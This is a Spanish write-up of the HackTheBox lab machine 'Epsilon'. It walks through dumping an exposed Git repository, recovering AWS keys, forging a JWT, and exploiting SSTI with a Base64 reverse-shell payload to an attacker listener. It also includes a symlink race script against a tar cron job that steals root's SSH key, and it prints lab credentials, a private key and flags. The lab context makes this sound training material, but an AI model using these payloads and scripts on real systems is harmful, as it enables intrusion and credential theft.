Epsilon
10 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.134
- Fecha: 07 / 02 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.134 -p 22,80,5000
Nmap scan report for 10.10.11.134
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.86 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 5000 (HTTP).
Enumeración web
Existe una página web en el puerto 5000. Tiene este aspecto:
Podemos enumerar más rutas pero no podemos acceder a ellas porque no tenemos credenciales válidas aún:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.134:5000/FUZZ
home [Status: 302, Size: 208, Words: 21, Lines: 4]
order [Status: 302, Size: 208, Words: 21, Lines: 4]
track [Status: 200, Size: 4288, Words: 631, Lines: 234]
[Status: 200, Size: 3550, Words: 522, Lines: 205]
Enumeración de un repositorio de Git
La salida de nmap
indica que hay un repositorio de Git expuesto en el puerto 80.
Podemos utilizar alguna herramienta como git-dumper
, pero esta vez utilicé gitdumper.sh
de GitTools:
$ bash gitdumper.sh http://10.10.11.134/.git/ ./epsilon_git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating ./epsilon/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3
[+] Downloaded: objects/c5/1441640fd25e9fba42725147595b5918eba0f1
[+] Downloaded: objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d
[+] Downloaded: objects/ce/401ccecf421ff19bf43fafe8a60a0d0f0682d0
[+] Downloaded: objects/5c/52105750831385d4756111e1103957ac599d02
[+] Downloaded: objects/b5/f4c99c772eeb629e53d284275458d75ed9a010
[+] Downloaded: objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca
[+] Downloaded: objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8
[+] Downloaded: objects/65/b80f62da28254f67f0bea392057fd7d2330e2d
[+] Downloaded: objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e
[+] Downloaded: objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630
[+] Downloaded: objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
[+] Downloaded: objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
Ahora deberíamos tener un directorio .git
en epsilon_git
:
$ cd epsilon_git
$ ls -a
. .. .git
En este punto podemos extraer el código actual de la rama principal:
$ git checkout .
$ ls
server.py track_api_CR_148.py
El archivo server.py
contiene una aplicación en Flask que corresponde a la web del puerto 5000:
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token, key):
try:
username = jwt.decode(token, key, algorithms=['HS256'])['username']
if username:
return True
else:
return False
except:
return False
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if request.form['username'] == 'admin' and request.form['password'] == 'admin':
res = make_response()
username = request.form['username']
token = jwt.encode({'username': 'admin'}, secret, algorithm='HS256')
res.set_cookie('auth', token)
res.headers['location'] = '/home'
return res, 302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route('/home')
def home():
if verify_jwt(request.cookies.get('auth'), secret):
return render_template('home.html')
else:
return redirect('/', code=302)
@app.route('/track', methods=['GET', 'POST'])
def track():
if request.method == 'POST':
if verify_jwt(request.cookies.get('auth'), secret):
return render_template('track.html', message=True)
else:
return redirect('/', code=302)
else:
return render_template('track.html')
@app.route('/order', methods=['GET', 'POST'])
def order():
if verify_jwt(request.cookies.get('auth'), secret):
if request.method == 'POST':
costume = request.form['costume']
message = '''
Your order of '{}' has been placed successfully.
'''.format(costume)
tmpl = render_template_string(message, costume=costume)
return render_template('order.html', message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/', code=302)
app.run(debug='true')
Vemos que hay unas credentiales puestas en el código (admin:admin
). Sin embargo, no funcionan. Parece que necesitamos construir un token JWT (JSON Web Token) para acceder a la web, pero no tenemos la clave secreta.
Además, vemos que hay una vulnerabilidad de Server-Side Template Injection (SSTI) en /order
, porque el parámetro costume
se inserta en un texto que es renderizado directamente por Jinja2 (que es el motor de plantillas por defecto de Flask), sin ninguna validación.
El archivo track_api_CR_148.py
contiene temas de Amazon Web Services (en concreto, AWS Lambda):
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
De nuevo, hay dos claves que no están presentes en el código para configurar AWS Lambda.
Sin embargo, tenemos el repositorio de Git. A lo mejor hay confirmaciones (commits) antiguas:
$ git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date: Wed Nov 17 17:41:07 2021 +0000
Fixed Typo
commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000
Adding Costume Site
commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:58 2021 +0000
Updatig Tracking API
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
Veamos si hay diferencias utilizando los identificadores de los commits (basta con añadir el comienzo de cada hash):
$ git diff b10dd06 c622771
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index 545f6fe..8d3b52e 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -8,8 +8,8 @@ session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
- endpoint_url='http://cloud.epsilong.htb')
-aws_lambda = session.client('lambda')
+ endpoint_url='http://cloud.epsilon.htb')
+aws_lambda = session.client('lambda')
Vale, es solo una errata, aunque ya podemos meter cloud.epsilon.htb
en /etc/hosts
. Aquí hay una diferencia más interesante:
$ git diff 7cf92a c514416
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index fed7ab9..545f6fe 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,8 +5,8 @@ from boto3.session import Session
session = Session(
- aws_access_key_id='AQLA5M37BDN6FJP76TDC',
- aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ aws_access_key_id='<aws_access_key_id>',
+ aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilong.htb')
aws_lambda = session.client('lambda')
Y aquí tenemos más secretos escritos en el código para configurar AWS Lambda. Con esto, podemos configurar la CLI de AWS e interactuar con AWS Lambda para obtener el código de la función:
$ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]:
Luego, podemos listar las funciones que están desplegadas para cloud.epsilon.htb
:
$ aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-02-14T23:01:58.240+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d54a4387-53bc-49c5-a55c-c3bc5c8aed47",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
Vemos que costume_shop_v1
es la única función. Vamos a examinarla:
$ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-02-11T05:29:01.295+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "bf23b664-e576-4493-8578-9906b999b8cc",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
El código está disponible en la URL que se muestra, en un archivo ZIP:
$ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
$ file code
code: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip code
Archive: code
inflating: lambda_function.py
Este es el código fuente de la función AWS Lambda desplegada:
import json
secret = 'RrXCv`mrNe!K!4+5`wYq' # apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id = event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) # dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
Y aquí está el secreto utilizado para JWT.
Acceso a la máquina
Ahora somos capaces de crear un token JWT válido como sigue:
>>> import jwt
>>> jwt.encode({'username': 'admin'}, 'RrXCv`mrNe!K!4+5`wYq', algorithm='HS256')
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'
Podemos utilizar este token como una cookie llamada auth
para acceder a algunas páginas de la web:
Sin embargo, ya que habíamos visto un vector de ataque con SSTI en /order
, vamos a explotarlo.
Primero de todo, tenemos que probar que el SSTI funciona utilizando un payload sencillo:
$ curl 10.10.11.134:5000/order -sd 'costume={{7*7}}&q=1337&addr=asdf' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg' | grep 49
Your order of "49" has been placed successfully.
Como {{7*7}}
se muestra como 49
, la inyección funciona. Ahora podemos mirar en PayloadsAllTheThings y coger un payload para conseguir ejecución remota de comandos (RCE):
{{ cycler.__init__.__globals__.os.popen('id').read() }}
En lugar de utilizar id
como comando, pondremos un comando que nos mande una reverse shell codificado en Base64:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Ahora enviamos el payload mientras escuchamos con nc
:
$ curl 10.10.11.134:5000/order -sd 'costume={{cycler.__init__.__globals__.os.popen("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash").read()}}&q=1337&addr=asdf' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.134.
Ncat: Connection from 10.10.11.134:32940.
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
tom@epsilon:/var/www/app$ export TERM=xterm
tom@epsilon:/var/www/app$ export SHELL=bash
tom@epsilon:/var/www/app$ stty rows 50 columns 158
tom@epsilon:/var/www/app$ cd
tom@epsilon:~$ cat user.txt
f331291fab610895dd18aefba73ffb2c
Enumeración del sistema
Una enumeración básica basta para darnos cuenta de que hay un directorio raro en /opt
:
tom@epsilon:~$ ls -la --time-style=+ /opt
total 16
drwxr-xr-x 4 root root 4096 .
drwxr-xr-x 19 root root 4096 ..
drwxr-xrwx 2 root root 4096 backups
drwx--x--x 4 root root 4096 containerd
Somos capaces de leer y escribir en el directorio backups
. Normalmente, las copias de seguridad se ejecutan periódicamente, por lo que podemos buscar algún script que se esté ejecutando como tarea Cron:
tom@epsilon:~$ find / -type f -name \*backup\* 2>/dev/null | grep -v python
/usr/share/man/man8/vgcfgbackup.8.gz
/usr/src/linux-headers-5.4.0-97-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-5.4.0-97-generic/include/config/net/team/mode/activebackup.h
/usr/src/linux-headers-5.4.0-97/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
/usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so
/usr/lib/modules/5.4.0-97-generic/kernel/drivers/power/supply/wm831x_backup.ko
/usr/lib/modules/5.4.0-97-generic/kernel/drivers/net/team/team_mode_activebackup.ko
/usr/bin/backup.sh
/sys/devices/virtual/net/veth3701941/brport/backup_port
Hay un script en Bash en /usr/bin/backup.sh
que realiza una copia de seguridad periódicamente de /var/www/app
:
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
La vulnerabilidad aquí está en el uso de -h
para el comando tar
, porque seguirá los enlaces simbólicos y comprimirá el contenido. Utilizando explainsh
, podemos ver qué significa cada parámetro del comando:
$ explainsh 'tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"'
The GNU version of the tar archiving utility
-c, --create
create a new archive
-h, --dereference
follow symlinks; archive and dump the files they point to
-v, --verbose
verbosely list files processed
-f, --file ARCHIVE
use archive file or device ARCHIVE
tar [-] A --catenate --concatenate | c --create | d --diff --compare | --delete | r --append | t --list |
--test-label | u --update | x --extract --get [options] [pathname ...]
http://manpages.ubuntu.com/manpages/precise/en/man1/tar.html
Escalada de privilegios
Para explotar la tarea Cron, haremos que /opt/backups/checksum
sea un enlace simbólico hacia /root/.ssh
. Esto tiene que configurarse después de la primera llamada a tar
(dispondremos de 5 segundos). El segundo utiliza -h
, por lo que el contenido de /opt/backups/checksum -> /root/.ssh
será comprimido y almacenado en /var/backups/web_backups/
.
Aunque se puede realizar manualmente, decidí usar un script en Bash:
tom@epsilon:~$ cd /tmp
tom@epsilon:/tmp$ vim privesc.sh
#!/usr/bin/env bash
while true; do
if [ ! -z "$(ls /opt/backups)" ]; then
echo '[*] First `tar` executed'
break
fi
done
rm -f /opt/backups/checksum
ln -sf /root/.ssh /opt/backups/checksum
echo '[+] Symlink created'
sleep 6
file=$(ls -la /var/backups/web_backups | tail -1 | awk '{ print $9 }')
echo "[+] Found file: $file"
cp /var/backups/web_backups/$file /tmp
cd /tmp
tar -xvf $file
echo '[!] Symlink content'
ls opt/backups/checksum
echo '[!] `root` SSH key'
cat opt/backups/checksum/id_rsa
Básicamente, espera hasta que haya una nueva copia de seguridad en /opt/backups
, luego crea el enlace simbólico y espera hasta que la segunda copia de seguridad se almacena en /var/backups/web_backups
. Después de esto, toma este archivo comprimido y extrae su contenido para leer la clave /root/.ssh/id_rsa
:
tom@epsilon:/tmp$ bash privesc.sh
[*] First `tar` executed
[+] Symlink created
[+] Found file: 376776221.tar
opt/backups/checksum/
opt/backups/checksum/id_rsa
opt/backups/checksum/id_rsa.pub
opt/backups/checksum/authorized_keys
opt/backups/366066624.tar
[!] Symlink content
authorized_keys id_rsa id_rsa.pub
[!] `root` SSH key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Utilizando esta clave privada de SSH tenemos acceso a la máquina como root
:
$ ssh -i id_rsa root@10.10.11.134
root@epsilon:~# cat root.txt
cf3d789a49b8c920c09142c741e00c34